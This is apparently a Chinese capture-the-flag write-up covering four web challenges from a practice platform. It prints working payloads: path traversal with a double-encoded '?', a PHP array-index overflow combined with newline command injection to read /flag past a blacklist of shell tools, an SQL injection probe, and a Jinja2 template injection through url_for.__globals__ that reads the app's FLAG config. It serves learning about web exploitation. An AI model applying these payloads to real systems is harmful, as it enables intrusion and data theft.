攻防世界 web篇(二)
warmup

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}

第一个:检查一个变量是否为空
第二个:是否为字符串
第三个:通过函数来检查
file:// 协议
条件:
allow_url_fopen:off/on
allow_url_include :off/on
include文件包含是遇到 …/…/会将以.开头,则解析器会在当前目录的父目录下寻找该文件
http://61.147.171.105:63713/source.php?file=hint.php%253f/../../../../../../ffffllllaaaagggg

favorite_number
打开页面
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
php的版本为5.5.9这里联想到一个数组下标溢出漏洞也就是说数组中键值为0的元素与键值为4294967296的元素是同一个
审计代码发现,通过POST方式传一个数组,传入的数组的内容必须与array数组内容全等,但这里有个矛盾,需要传入的数组的第一个元素不能为admin,但array数组的第一个元素就是admin,这里就要利用数组溢出漏洞了,使用如下payload
stuff[4294967296]=admin&stuff[1]=user&num=111

无法查看
查看文件id

我的504尝试另一种读取flag的方法:将/flag输出到一个文件中,读取这个文件即可
stuff[4294967296]=admin&stuff[]=user&num=666%0aprintf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 tac `tac /tmp/hello`

warmup
用kali的dirb或者nikto:
http://61.147.171.105:54492/user.php.bak下载
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}

进来后姓名处
%20and%201=2
查找注入


shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()\
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c)for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
使用Python内置函数读取全局变量 url_for或者get_flashed_messages
http://61.147.171.105:53847/shrine/%7B%7Burl_for.globals%7D%7D
可以解析到
看到了属性的东西,代码审计的时候有 app.config[‘FLAG’]
调用这个函数
python沙箱逃逸的方法是 利用python对象之间的引用关系来调用被禁用的函数对象
构造payloads: /shrine/{{url_for.globals[‘current_app’].config[‘FLAG’]}}
http://61.147.171.105:53847/shrine/%7B%7Burl_for.__globals__['current_app'].config['FLAG']%7D%7D

版权声明:本文为weixin_51387754原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。